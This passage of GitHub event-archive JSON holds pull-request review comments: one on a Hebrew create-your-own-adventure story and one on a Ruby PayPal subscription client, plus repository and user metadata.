applications.","fork":false,"url":"https://api.github.com/repos/cerner/terra-framework","forks_url":"https://api.github.com/repos/cerner/terra-framework/forks","keys_url":"https://api.github.com/repos/cerner/terra-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cerner/terra-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cerner/terra-framework/teams","hooks_url":"https://api.github.com/repos/cerner/terra-framework/hooks","issue_events_url":"https://api.github.com/repos/cerner/terra-framework/issues/events{/number}","events_url":"https://api.github.com/repos/cerner/terra-framework/events","assignees_url":"https://api.github.com/repos/cerner/terra-framework/assignees{/user}","branches_url":"https://api.github.com/repos/cerner/terra-framework/branches{/branch}","tags_url":"https://api.github.com/repos/cerner/terra-framework/tags","blobs_url":"https://api.github.com/repos/cerner/terra-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cerner/terra-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cerner/terra-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/cerner/terra-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cerner/terra-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/cerner/terra-framework/languages","stargazers_url":"https://api.github.com/repos/cerner/terra-framework/stargazers","contributors_url":"https://api.github.com/repos/cerner/terra-framework/contributors","subscribers_url":"https://api.github.com/repos/cerner/terra-framework/subscribers","subscription_url":"https://api.github.com/repos/cerner/terra-framework/subscription","commits_url":"https://api.github.com/repos/cerner/terra-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/cerner/terra-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/cerner/terra-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/cerner/terra-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/cerner/terra-framework/contents/{+path}","compare_url":"https://api.github.com/repos/cerner/terra-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cerner/terra-framework/merges","archive_url":"https://api.github.com/repos/cerner/terra-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cerner/terra-framework/downloads","issues_url":"https://api.github.com/repos/cerner/terra-framework/issues{/number}","pulls_url":"https://api.github.com/repos/cerner/terra-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/cerner/terra-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/cerner/terra-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cerner/terra-framework/labels{/name}","releases_url":"https://api.github.com/repos/cerner/terra-framework/releases{/id}","deployments_url":"https://api.github.com/repos/cerner/terra-framework/deployments","created_at":"2017-10-20T20:43:46Z","updated_at":"2019-10-22T17:53:07Z","pushed_at":"2019-10-22T19:53:52Z","git_url":"git://github.com/cerner/terra-framework.git","ssh_url":"git@github.com:cerner/terra-framework.git","clone_url":"https://github.com/cerner/terra-framework.git","svn_url":"https://github.com/cerner/terra-framework","homepage":"http://terra-ui.com","size":85095,"stargazers_count":44,"watchers_count":44,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":96,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":30,"open_issues":96,"watchers":44,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/946"},"html":{"href":"https://github.com/cerner/terra-framework/pull/946"},"issue":{"href":"https://api.github.com/repos/cerner/terra-framework/issues/946"},"comments":{"href":"https://api.github.com/repos/cerner/terra-framework/issues/946/comments"},"review_comments":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/946/comments"},"review_comment":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/cerner/terra-framework/pulls/946/commits"},"statuses":{"href":"https://api.github.com/repos/cerner/terra-framework/statuses/cf87f664191bd0d983e4c198ca7ae7ce8a8b325e"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 107724721,
"name": "cerner/terra-framework",
"url": "https://api.github.com/repos/cerner/terra-framework"
}
|
{
"id": 14099737,
"login": "emilyrohrbough",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/14099737?",
"url": "https://api.github.com/users/emilyrohrbough"
}
|
{
"id": 1873208,
"login": "cerner",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1873208?",
"url": "https://api.github.com/orgs/cerner"
}
| 2019-10-23T00:57:28 |
10690994077
|
{"actor":{"display_login":"emilyrohrbough"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/comments/300694013","pull_request_review_id":258418534,"id":300694013,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMwMDY5NDAxMw==","diff_hunk":"@@ -0,0 +1,58 @@\n+ראלוף: היי, אתה. סוף סוף התעוררת. ניסית לעבור את הגבול נכון? הלכת ישר לתוך המארב האימפרלי הזה, בדיוק כמונו, וכמו הגנב הזה שם.\n+\n+לוקיר: תקוללו סטורמקלאוקס. סקיירים הייתה במצב מצויין לפני שאתם הגעתם. האימפריה הייתה כה נחמדה ועצלנית. אם הם לא היו מחפשים אתכם, הייתי יכול לגנוב את הסוס ההוא","path":"hebrew/shame-on-you/Adventure.md","position":3,"original_position":3,"commit_id":"a1d34ca1d576074b7d20b4401d47981159933ea6","original_commit_id":"a1d34ca1d576074b7d20b4401d47981159933ea6","user":{"login":"casey-collab","id":9259948,"node_id":"MDQ6VXNlcjkyNTk5NDg=","avatar_url":"https://avatars3.githubusercontent.com/u/9259948?v=4","gravatar_id":"","url":"https://api.github.com/users/casey-collab","html_url":"https://github.com/casey-collab","followers_url":"https://api.github.com/users/casey-collab/followers","following_url":"https://api.github.com/users/casey-collab/following{/other_user}","gists_url":"https://api.github.com/users/casey-collab/gists{/gist_id}","starred_url":"https://api.github.com/users/casey-collab/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/casey-collab/subscriptions","organizations_url":"https://api.github.com/users/casey-collab/orgs","repos_url":"https://api.github.com/users/casey-collab/repos","events_url":"https://api.github.com/users/casey-collab/events{/privacy}","received_events_url":"https://api.github.com/users/casey-collab/received_events","type":"User","site_admin":false},"body":"This line is also too long.","created_at":"2019-07-05T13:57:14Z","updated_at":"2019-07-05T13:57:14Z","html_url":"https://github.com/udacity/create-your-own-adventure/pull/10338#discussion_r300694013","pull_request_url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/comments/300694013"},"html":{"href":"https://github.com/udacity/create-your-own-adventure/pull/10338#discussion_r300694013"},"pull_request":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338"}}},"pull_request":{"url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338","id":293789885,"node_id":"MDExOlB1bGxSZXF1ZXN0MjkzNzg5ODg1","html_url":"https://github.com/udacity/create-your-own-adventure/pull/10338","diff_url":"https://github.com/udacity/create-your-own-adventure/pull/10338.diff","patch_url":"https://github.com/udacity/create-your-own-adventure/pull/10338.patch","issue_url":"https://api.github.com/repos/udacity/create-your-own-adventure/issues/10338","number":10338,"state":"open","locked":false,"title":"add new options to the story in hebrew","user":{"login":"Urlord2089","id":45351640,"node_id":"MDQ6VXNlcjQ1MzUxNjQw","avatar_url":"https://avatars3.githubusercontent.com/u/45351640?v=4","gravatar_id":"","url":"https://api.github.com/users/Urlord2089","html_url":"https://github.com/Urlord2089","followers_url":"https://api.github.com/users/Urlord2089/followers","following_url":"https://api.github.com/users/Urlord2089/following{/other_user}","gists_url":"https://api.github.com/users/Urlord2089/gists{/gist_id}","starred_url":"https://api.github.com/users/Urlord2089/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Urlord2089/subscriptions","organizations_url":"https://api.github.com/users/Urlord2089/orgs","repos_url":"https://api.github.com/users/Urlord2089/repos","events_url":"https://api.github.com/users/Urlord2089/events{/privacy}","received_events_url":"https://api.github.com/users/Urlord2089/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-07-02T14:58:26Z","updated_at":"2019-07-05T13:57:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"13435ef42ba013c314a3a616316ee71d99fc84df","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338/commits","review_comments_url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338/comments","review_comment_url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/comments{/number}","comments_url":"https://api.github.com/repos/udacity/create-your-own-adventure/issues/10338/comments","statuses_url":"https://api.github.com/repos/udacity/create-your-own-adventure/statuses/a1d34ca1d576074b7d20b4401d47981159933ea6","head":{"label":"Urlord2089:master","ref":"master","sha":"a1d34ca1d576074b7d20b4401d47981159933ea6","user":{"login":"Urlord2089","id":45351640,"node_id":"MDQ6VXNlcjQ1MzUxNjQw","avatar_url":"https://avatars3.githubusercontent.com/u/45351640?v=4","gravatar_id":"","url":"https://api.github.com/users/Urlord2089","html_url":"https://github.com/Urlord2089","followers_url":"https://api.github.com/users/Urlord2089/followers","following_url":"https://api.github.com/users/Urlord2089/following{/other_user}","gists_url":"https://api.github.com/users/Urlord2089/gists{/gist_id}","starred_url":"https://api.github.com/users/Urlord2089/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Urlord2089/subscriptions","organizations_url":"https://api.github.com/users/Urlord2089/orgs","repos_url":"https://api.github.com/users/Urlord2089/repos","events_url":"https://api.github.com/users/Urlord2089/events{/privacy}","received_events_url":"https://api.github.com/users/Urlord2089/received_events","type":"User","site_admin":false},"repo":{"id":194873390,"node_id":"MDEwOlJlcG9zaXRvcnkxOTQ4NzMzOTA=","name":"create-your-own-adventure","full_name":"Urlord2089/create-your-own-adventure","private":false,"owner":{"login":"Urlord2089","id":45351640,"node_id":"MDQ6VXNlcjQ1MzUxNjQw","avatar_url":"https://avatars3.githubusercontent.com/u/45351640?v=4","gravatar_id":"","url":"https://api.github.com/users/Urlord2089","html_url":"https://github.com/Urlord2089","followers_url":"https://api.github.com/users/Urlord2089/followers","following_url":"https://api.github.com/users/Urlord2089/following{/other_user}","gists_url":"https://api.github.com/users/Urlord2089/gists{/gist_id}","starred_url":"https://api.github.com/users/Urlord2089/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Urlord2089/subscriptions","organizations_url":"https://api.github.com/users/Urlord2089/orgs","repos_url":"https://api.github.com/users/Urlord2089/repos","events_url":"https://api.github.com/users/Urlord2089/events{/privacy}","received_events_url":"https://api.github.com/users/Urlord2089/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Urlord2089/create-your-own-adventure","description":"This is example repo illustrates the concept of a \"Pull Request\", created as part of the course How to Use Git and GitHub","fork":true,"url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure","forks_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/forks","keys_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/teams","hooks_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/hooks","issue_events_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/issues/events{/number}","events_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/events","assignees_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/assignees{/user}","branches_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/branches{/branch}","tags_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/tags","blobs_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/git/refs{/sha}","trees_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/statuses/{sha}","languages_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/languages","stargazers_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/stargazers","contributors_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/contributors","subscribers_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/subscribers","subscription_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/subscription","commits_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/commits{/sha}","git_commits_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/git/commits{/sha}","comments_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/comments{/number}","issue_comment_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/issues/comments{/number}","contents_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/contents/{+path}","compare_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/merges","archive_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/downloads","issues_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/issues{/number}","pulls_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/pulls{/number}","milestones_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/milestones{/number}","notifications_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/labels{/name}","releases_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/releases{/id}","deployments_url":"https://api.github.com/repos/Urlord2089/create-your-own-adventure/deployments","created_at":"2019-07-02T13:55:13Z","updated_at":"2019-07-02T14:56:51Z","pushed_at":"2019-07-02T14:56:51Z","git_url":"git://github.com/Urlord2089/create-your-own-adventure.git","ssh_url":"git@github.com:Urlord2089/create-your-own-adventure.git","clone_url":"https://github.com/Urlord2089/create-your-own-adventure.git","svn_url":"https://github.com/Urlord2089/create-your-own-adventure","homepage":"","size":9071,"stargazers_count":0,"watchers_count":0,"language":"Shell","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"udacity:master","ref":"master","sha":"94135e612d112c86c9a0ab2fbe3ea75945da02fd","user":{"login":"udacity","id":1916665,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE5MTY2NjU=","avatar_url":"https://avatars2.githubusercontent.com/u/1916665?v=4","gravatar_id":"","url":"https://api.github.com/users/udacity","html_url":"https://github.com/udacity","followers_url":"https://api.github.com/users/udacity/followers","following_url":"https://api.github.com/users/udacity/following{/other_user}","gists_url":"https://api.github.com/users/udacity/gists{/gist_id}","starred_url":"https://api.github.com/users/udacity/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/udacity/subscriptions","organizations_url":"https://api.github.com/users/udacity/orgs","repos_url":"https://api.github.com/users/udacity/repos","events_url":"https://api.github.com/users/udacity/events{/privacy}","received_events_url":"https://api.github.com/users/udacity/received_events","type":"Organization","site_admin":false},"repo":{"id":24392063,"node_id":"MDEwOlJlcG9zaXRvcnkyNDM5MjA2Mw==","name":"create-your-own-adventure","full_name":"udacity/create-your-own-adventure","private":false,"owner":{"login":"udacity","id":1916665,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE5MTY2NjU=","avatar_url":"https://avatars2.githubusercontent.com/u/1916665?v=4","gravatar_id":"","url":"https://api.github.com/users/udacity","html_url":"https://github.com/udacity","followers_url":"https://api.github.com/users/udacity/followers","following_url":"https://api.github.com/users/udacity/following{/other_user}","gists_url":"https://api.github.com/users/udacity/gists{/gist_id}","starred_url":"https://api.github.com/users/udacity/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/udacity/subscriptions","organizations_url":"https://api.github.com/users/udacity/orgs","repos_url":"https://api.github.com/users/udacity/repos","events_url":"https://api.github.com/users/udacity/events{/privacy}","received_events_url":"https://api.github.com/users/udacity/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/udacity/create-your-own-adventure","description":"This is example repo illustrates the concept of a \"Pull Request\", created as part of the course How to Use Git and GitHub","fork":false,"url":"https://api.github.com/repos/udacity/create-your-own-adventure","forks_url":"https://api.github.com/repos/udacity/create-your-own-adventure/forks","keys_url":"https://api.github.com/repos/udacity/create-your-own-adventure/keys{/key_id}","collaborators_url":"https://api.github.com/repos/udacity/create-your-own-adventure/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/udacity/create-your-own-adventure/teams","hooks_url":"https://api.github.com/repos/udacity/create-your-own-adventure/hooks","issue_events_url":"https://api.github.com/repos/udacity/create-your-own-adventure/issues/events{/number}","events_url":"https://api.github.com/repos/udacity/create-your-own-adventure/events","assignees_url":"https://api.github.com/repos/udacity/create-your-own-adventure/assignees{/user}","branches_url":"https://api.github.com/repos/udacity/create-your-own-adventure/branches{/branch}","tags_url":"https://api.github.com/repos/udacity/create-your-own-adventure/tags","blobs_url":"https://api.github.com/repos/udacity/create-your-own-adventure/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/udacity/create-your-own-adventure/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/udacity/create-your-own-adventure/git/refs{/sha}","trees_url":"https://api.github.com/repos/udacity/create-your-own-adventure/git/trees{/sha}","statuses_url":"https://api.github.com/repos/udacity/create-your-own-adventure/statuses/{sha}","languages_url":"https://api.github.com/repos/udacity/create-your-own-adventure/languages","stargazers_url":"https://api.github.com/repos/udacity/create-your-own-adventure/stargazers","contributors_url":"https://api.github.com/repos/udacity/create-your-own-adventure/contributors","subscribers_url":"https://api.github.com/repos/udacity/create-your-own-adventure/subscribers","subscription_url":"https://api.github.com/repos/udacity/create-your-own-adventure/subscription","commits_url":"https://api.github.com/repos/udacity/create-your-own-adventure/commits{/sha}","git_commits_url":"https://api.github.com/repos/udacity/create-your-own-adventure/git/commits{/sha}","comments_url":"https://api.github.com/repos/udacity/create-your-own-adventure/comments{/number}","issue_comment_url":"https://api.github.com/repos/udacity/create-your-own-adventure/issues/comments{/number}","contents_url":"https://api.github.com/repos/udacity/create-your-own-adventure/contents/{+path}","compare_url":"https://api.github.com/repos/udacity/create-your-own-adventure/compare/{base}...{head}","merges_url":"https://api.github.com/repos/udacity/create-your-own-adventure/merges","archive_url":"https://api.github.com/repos/udacity/create-your-own-adventure/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/udacity/create-your-own-adventure/downloads","issues_url":"https://api.github.com/repos/udacity/create-your-own-adventure/issues{/number}","pulls_url":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls{/number}","milestones_url":"https://api.github.com/repos/udacity/create-your-own-adventure/milestones{/number}","notifications_url":"https://api.github.com/repos/udacity/create-your-own-adventure/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/udacity/create-your-own-adventure/labels{/name}","releases_url":"https://api.github.com/repos/udacity/create-your-own-adventure/releases{/id}","deployments_url":"https://api.github.com/repos/udacity/create-your-own-adventure/deployments","created_at":"2014-09-23T22:42:17Z","updated_at":"2019-07-05T03:27:16Z","pushed_at":"2019-07-05T13:53:31Z","git_url":"git://github.com/udacity/create-your-own-adventure.git","ssh_url":"git@github.com:udacity/create-your-own-adventure.git","clone_url":"https://github.com/udacity/create-your-own-adventure.git","svn_url":"https://github.com/udacity/create-your-own-adventure","homepage":"","size":9775,"stargazers_count":407,"watchers_count":407,"language":"Shell","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":10280,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":4698,"license":null,"forks":10280,"open_issues":4698,"watchers":407,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338"},"html":{"href":"https://github.com/udacity/create-your-own-adventure/pull/10338"},"issue":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/issues/10338"},"comments":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/issues/10338/comments"},"review_comments":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338/comments"},"review_comment":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/pulls/10338/commits"},"statuses":{"href":"https://api.github.com/repos/udacity/create-your-own-adventure/statuses/a1d34ca1d576074b7d20b4401d47981159933ea6"}},"author_association":"NONE"}}
|
{
"id": 24392063,
"name": "udacity/create-your-own-adventure",
"url": "https://api.github.com/repos/udacity/create-your-own-adventure"
}
|
{
"id": 9259948,
"login": "casey-collab",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/9259948?",
"url": "https://api.github.com/users/casey-collab"
}
|
{
"id": 1916665,
"login": "udacity",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1916665?",
"url": "https://api.github.com/orgs/udacity"
}
| 2019-07-05T13:57:14 |
9956448697
|
{"actor":{"display_login":"casey-collab"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/cirope/mawidabp/pulls/comments/338570926","pull_request_review_id":306570910,"id":338570926,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzODU3MDkyNg==","diff_hunk":"@@ -0,0 +1,111 @@\n+# frozen_string_literal: true\n+\n+module PaypalClient\n+ module_function\n+\n+ require 'net/http'\n+\n+ STATUS = {\n+ approved: 'APPROVED',\n+ active: 'ACTIVE',\n+ pending: 'APPROVAL_PENDING',\n+ suspended: 'SUSPENDED',\n+ expired: 'EXPIRED',\n+ cancelled: 'CANCELLED'\n+ }.freeze\n+\n+ PAYPAL_DOMAIN = ENV['PAYPAL_DOMAIN']\n+\n+ def get_subscription reference_id\n+ result = request_get '/v1/billing/subscriptions/' + reference_id\n+\n+ parse_subscription(result) || { status: :no_results }\n+ end\n+\n+ def parse_subscription response\n+ case response['status']\n+ when STATUS[:approved], STATUS[:active]\n+ {\n+ status: :paid,\n+ approved_at: Time.parse(response['billing_info']['last_payment']['time']),\n+ paid_until: Time.parse(response['billing_info']['next_billing_time'])\n+ }\n+ when STATUS[:pending]\n+ { status: :in_process }\n+ end\n+ end\n+\n+ def request_get path\n+ uri = URI(PAYPAL_DOMAIN + path)\n+\n+ request = Net::HTTP::Get.new uri, authorized_request_headers\n+\n+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|","path":"app/lib/paypal_client.rb","position":43,"original_position":43,"commit_id":"2bb4cf759a65e6680c0e0252487bb74cf1e205cb","original_commit_id":"2bb4cf759a65e6680c0e0252487bb74cf1e205cb","user":{"login":"francocatena","id":85371,"node_id":"MDQ6VXNlcjg1Mzcx","avatar_url":"https://avatars3.githubusercontent.com/u/85371?v=4","gravatar_id":"","url":"https://api.github.com/users/francocatena","html_url":"https://github.com/francocatena","followers_url":"https://api.github.com/users/francocatena/followers","following_url":"https://api.github.com/users/francocatena/following{/other_user}","gists_url":"https://api.github.com/users/francocatena/gists{/gist_id}","starred_url":"https://api.github.com/users/francocatena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/francocatena/subscriptions","organizations_url":"https://api.github.com/users/francocatena/orgs","repos_url":"https://api.github.com/users/francocatena/repos","events_url":"https://api.github.com/users/francocatena/events{/privacy}","received_events_url":"https://api.github.com/users/francocatena/received_events","type":"User","site_admin":false},"body":"Estas variables está para juntarlas y alinear esos `=`, queda de película =P","created_at":"2019-10-24T13:26:13Z","updated_at":"2019-10-24T13:31:08Z","html_url":"https://github.com/cirope/mawidabp/pull/112#discussion_r338570926","pull_request_url":"https://api.github.com/repos/cirope/mawidabp/pulls/112","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/cirope/mawidabp/pulls/comments/338570926"},"html":{"href":"https://github.com/cirope/mawidabp/pull/112#discussion_r338570926"},"pull_request":{"href":"https://api.github.com/repos/cirope/mawidabp/pulls/112"}}},"pull_request":{"url":"https://api.github.com/repos/cirope/mawidabp/pulls/112","id":322547289,"node_id":"MDExOlB1bGxSZXF1ZXN0MzIyNTQ3Mjg5","html_url":"https://github.com/cirope/mawidabp/pull/112","diff_url":"https://github.com/cirope/mawidabp/pull/112.diff","patch_url":"https://github.com/cirope/mawidabp/pull/112.patch","issue_url":"https://api.github.com/repos/cirope/mawidabp/issues/112","number":112,"state":"open","locked":false,"title":"Paypal Subscriptions","user":{"login":"Shelvak","id":873323,"node_id":"MDQ6VXNlcjg3MzMyMw==","avatar_url":"https://avatars3.githubusercontent.com/u/873323?v=4","gravatar_id":"","url":"https://api.github.com/users/Shelvak","html_url":"https://github.com/Shelvak","followers_url":"https://api.github.com/users/Shelvak/followers","following_url":"https://api.github.com/users/Shelvak/following{/other_user}","gists_url":"https://api.github.com/users/Shelvak/gists{/gist_id}","starred_url":"https://api.github.com/users/Shelvak/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Shelvak/subscriptions","organizations_url":"https://api.github.com/users/Shelvak/orgs","repos_url":"https://api.github.com/users/Shelvak/repos","events_url":"https://api.github.com/users/Shelvak/events{/privacy}","received_events_url":"https://api.github.com/users/Shelvak/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-09-29T22:31:07Z","updated_at":"2019-10-24T13:31:08Z","closed_at":null,"merged_at":null,"merge_commit_sha":"6f261a2b9ac6eec77d26f478d6794e7c27ce85aa","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":948781286,"node_id":"MDU6TGFiZWw5NDg3ODEyODY=","url":"https://api.github.com/repos/cirope/mawidabp/labels/Feature","name":"Feature","color":"1d76db","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/cirope/mawidabp/pulls/112/commits","review_comments_url":"https://api.github.com/repos/cirope/mawidabp/pulls/112/comments","review_comment_url":"https://api.github.com/repos/cirope/mawidabp/pulls/comments{/number}","comments_url":"https://api.github.com/repos/cirope/mawidabp/issues/112/comments","statuses_url":"https://api.github.com/repos/cirope/mawidabp/statuses/2bb4cf759a65e6680c0e0252487bb74cf1e205cb","head":{"label":"cirope:mp","ref":"mp","sha":"2bb4cf759a65e6680c0e0252487bb74cf1e205cb","user":{"login":"cirope","id":2007113,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMDcxMTM=","avatar_url":"https://avatars2.githubusercontent.com/u/2007113?v=4","gravatar_id":"","url":"https://api.github.com/users/cirope","html_url":"https://github.com/cirope","followers_url":"https://api.github.com/users/cirope/followers","following_url":"https://api.github.com/users/cirope/following{/other_user}","gists_url":"https://api.github.com/users/cirope/gists{/gist_id}","starred_url":"https://api.github.com/users/cirope/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cirope/subscriptions","organizations_url":"https://api.github.com/users/cirope/orgs","repos_url":"https://api.github.com/users/cirope/repos","events_url":"https://api.github.com/users/cirope/events{/privacy}","received_events_url":"https://api.github.com/users/cirope/received_events","type":"Organization","site_admin":false},"repo":{"id":1271571,"node_id":"MDEwOlJlcG9zaXRvcnkxMjcxNTcx","name":"mawidabp","full_name":"cirope/mawidabp","private":false,"owner":{"login":"cirope","id":2007113,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwMDcxMTM=","avatar_url":"https://avatars2.githubusercontent.com/u/2007113?v=4","gravatar_id":"","url":"https://api.github.com/users/cirope","html_url":"https://github.com/cirope","followers_url":"https://api.github.com/users/cirope/followers","following_url":"https://api.github.com/users/cirope/following{/other_user}","gists_url":"https://api.github.com/users/cirope/gists{/gist_id}","starred_url":"https://api.github.com/users/cirope/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cirope/subscriptions","organizations_url":"https://api.github.com/users/cirope/orgs","repos_url":"https://api.github.com/users/cirope/repos","events_url":"https://api.github.com/users/cirope/events{/privacy}","received_events_url":"https://api.github.com/users/cirope/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/cirope/mawidabp","description":"Audit asistant web application","fork":false,"url":"https://api.github.com/repos/cirope/mawidabp","forks_url":"https://api.github.com/repos/cirope/mawidabp/forks","keys_url":"https://api.github.com/repos/cirope/mawidabp/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cirope/mawidabp/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cirope/mawidabp/teams","hooks_url":"https://api.github.com/repos/cirope/mawidabp/hooks","issue_events_url":"https://api.github.com/repos/cirope/mawidabp/issues/events{/number}","events_url":"https://api.github.com/repos/cirope/mawidabp/events","assignees_url":"https://api.github.com/repos/cirope/mawidabp/assignees{/user}","branches_url":"https://api.github.com/repos/cirope/mawidabp/branches{/branch}","tags_url":"https://api.github.com/repos/cirope/mawidabp/tags","blobs_url":"https://api.github.com/repos/cirope/mawidabp/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cirope/mawidabp/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cirope/mawidabp/git/refs{/sha}","trees_url":"https://api.github.com/repos/cirope/mawidabp/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cirope/mawidabp/statuses/{sha}","languages_url":"https://api.github.com/repos/cirope/mawidabp/languages","starga